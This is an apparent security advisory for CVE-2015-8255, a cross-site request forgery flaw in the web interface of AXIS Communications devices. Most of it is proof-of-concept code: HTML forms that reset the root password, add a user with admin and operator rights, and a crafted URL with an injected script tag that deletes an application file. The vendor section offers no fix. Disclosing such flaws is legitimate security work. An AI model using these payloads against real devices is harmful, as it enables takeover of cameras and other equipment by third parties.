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AXIS Communications Cross Site Request Forgery

0RWELLL4BS
**********
security advisory
olsa-CVE-2015-8255
PGP: 79A6CCC0
@or 0RWELLL4BS
**********
security advisory
olsa-CVE-2015-8255
PGP: 79A6CCC0
@orwelllabs




Advisory Information
====================
- Title: Cross-Site Request Forgery
- Vendor: AXIS Communications
- Research and Advisory: Orwelllabs
- Class: Session Management control [CWE-352]
- CVE Name: CVE-2015-8255
- Affected Versions:
- IoT Attack Surface: Device Web Interface
- OWASP IoTTop10: I1



Technical Details
=================
Because of the own (bad) design of this kind of device (Actualy a big
problem of IoT, one of them)
The embedded web application does not verify whether a valid request was
intentionally provided by the user who submitted the request.


PoCs
====
#-> Setting root password to W!nst0n

<html>
<!-- CSRF PoC Orwelllabs -->
<body>
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
<input type="hidden" name="action" value="update" />
<input type="hidden" name="user" value="root" />
<input type="hidden" name="pwd" value="w!nst0n" />
<input type="hidden" name="comment" value="Administrator" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


#-> Adding new credential SmithW:W!nst0n

<html>
<!-- CSRF PoC - Orwelllabs -->
<body>
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="user" value="SmithW" />
<input type="hidden" name="sgrp"
value="viewer:operator:admin:ptz"
/>
<input type="hidden" name="pwd" value="W!nst0n" />
<input type="hidden" name="grp" value="users" />
<input type="hidden" name="comment" value="WebUser" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


#-> Deleting an app via directly CSRF (axis_update.shtml)

http://xxx.xxx.xxx.xxx/axis-cgi/vaconfig.cgi?action=get&name=<script src="
http://xxx.xxx.xxx.xxx/axis-cgi/admin/local_del.cgi?+
/usr/html/local/viewer/axis_update.shtml"></script>


[And many acitions allowed to an user [all of them?] can be forged in this
way]


Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
Well, this is a very old design problem of this kind of device, nothing new
to say about that.


Credits
=======
These vulnerabilities has been discovered and published by Orwelllabs.


Legal Notices
=============
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.


About Orwelllabs
================
https://www.exploit-db.com/author/?a=8225
https://packetstormsecurity.com/files/author/12322/

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